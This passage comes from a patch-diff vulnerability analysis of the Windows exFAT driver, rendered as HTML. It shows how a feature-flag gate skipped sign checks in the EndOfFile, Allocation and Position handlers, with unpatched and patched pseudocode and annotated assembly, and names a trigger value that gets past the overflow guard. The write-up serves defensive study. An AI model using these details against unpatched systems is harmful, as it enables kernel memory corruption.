&lt;li&gt;Dispatched through exFAT's FSD wrappers (&lt;code&gt;FppFsdSetInformation (sub_1C003DF50)&lt;/code&gt; / &lt;code&gt;FppFspDispatch (sub_1C0048270)&lt;/code&gt;) → &lt;code&gt;exfat!FppCommonSetInformation (sub_1C003E3A4)&lt;/code&gt; (the SET_INFORMATION dispatcher).&lt;/li&gt;
&lt;li&gt;The dispatcher switches on the information class and:&lt;/li&gt;
&lt;li&gt;case &lt;code&gt;0x14&lt;/code&gt; → &lt;code&gt;exfat!FppSetEndOfFileInfo (sub_1C00412C4)&lt;/code&gt; (EOF handler)&lt;/li&gt;
&lt;li&gt;case &lt;code&gt;0x13&lt;/code&gt; → &lt;code&gt;exfat!FppSetAllocationInfo (sub_1C0040F74)&lt;/code&gt; (Allocation handler)&lt;/li&gt;
&lt;li&gt;case &lt;code&gt;0x0e&lt;/code&gt; → inline FilePosition handler.&lt;/li&gt;
&lt;li&gt;The relevant handler calls the feature gate &lt;code&gt;exfat!Feature_1337404728__private_IsEnabledDeviceUsage&lt;/code&gt; @ &lt;code&gt;0x1C000A6A0&lt;/code&gt; reading global &lt;code&gt;Feature_1337404728__private_featureState&lt;/code&gt;. When the feature is not enabled it returns &lt;code&gt;FALSE&lt;/code&gt;, short-circuiting the sign check.&lt;/li&gt;
&lt;li&gt;The huge/negative value is written into the FCB at &lt;code&gt;+0x20&lt;/code&gt;, &lt;code&gt;+0x28&lt;/code&gt;, &lt;code&gt;+0x110&lt;/code&gt;, then passed to &lt;code&gt;CcSetFileSizes&lt;/code&gt; (position class: into &lt;code&gt;FileObject-&amp;gt;CurrentByteOffset&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Kernel file-cache metadata now holds an attacker-controlled unchecked negative/oversized value. Whether this progresses to memory corruption depends on later consumers of these fields and is not established here.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;FppSetEndOfFileInfo (sub_1C00412C4)&lt;/code&gt; — FileEndOfFileInformation handler&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ---------- UNPATCHED ----------&lt;/span&gt;
&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// attacker EndOfFile&lt;/span&gt;

&lt;span class="c1"&gt;// Upstream overflow guard — bypassed by 0xFFFFFFFFFFFFFFFF&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validDataLen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;validDataLen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;maxFileSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_FULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// *** THE FLAW: feature flag short-circuits the sign check ***&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C000A6A0&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// flag OFF (default) -&amp;gt; accept&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FileSize&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// FCB+0x20 = 0xFFFFFFFFFFFFFFFF&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AllocationSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AllocationSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// +0x28&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ValidDataLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ValidDataLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// +0x110&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CcSetFileSizes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Sizes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// cascading damage&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// only reached when flag ON&lt;/span&gt;


&lt;span class="c1"&gt;// ---------- PATCHED ----------&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- Feature_1337404728__private_IsEnabledDeviceUsage (sub_1C000A6A0)() removed&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// unconditional rejection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;FppSetAllocationInfo (sub_1C0040F74)&lt;/code&gt; — FileAllocationInformation handler&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C000A6A0&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// flag short-circuits&lt;/span&gt;
&lt;span class="c1"&gt;// proceed with corrupted AllocationSize&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;FppCommonSetInformation (sub_1C003E3A4)&lt;/code&gt; — inline FilePositionInformation (case 0x0e)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED&lt;/span&gt;
&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentByteOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C000A6A0&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// flag OFF -&amp;gt; accept any value&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentByteOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED&lt;/span&gt;
&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentByteOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentByteOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;FppSetEndOfFileInfo (sub_1C00412C4)&lt;/code&gt; — FileEndOfFileInformation handler (the primary corruption site)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;UNPATCHED:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- load attacker-controlled EndOfFile ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041307:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; rcx = Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041333:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; rdi = EndOfFile.QuadPart  [ATTACKER CONTROLLED]&lt;/span&gt;

&lt;span class="c1"&gt;; --- bypassed overflow guards (defeated by 0xFFFFFFFFFFFFFFFF) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004133d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; r8 = ValidDataLength+1&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; + EndOfFile&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;jl&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041602&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; signed wrap-below check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041366:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041602&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; max-size check&lt;/span&gt;

&lt;span class="c1"&gt;; *** FEATURE-FLAG GATE (the flaw) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004136f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- PATCH REMOVES THIS CALL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041374:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041376:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041387&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; flag==0 (default) -&amp;gt; SKIP sign check, PROCESS&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041378:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; only reached when flag != 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004137b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041387&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004137d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc000000d&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER (only on flag-on)&lt;/span&gt;

&lt;span class="c1"&gt;; *** FCB METADATA CORRUPTION ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004154f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; FCB-&amp;gt;FileSize = huge/negative&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041558:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; FCB-&amp;gt;AllocationSize&lt;/span&gt;
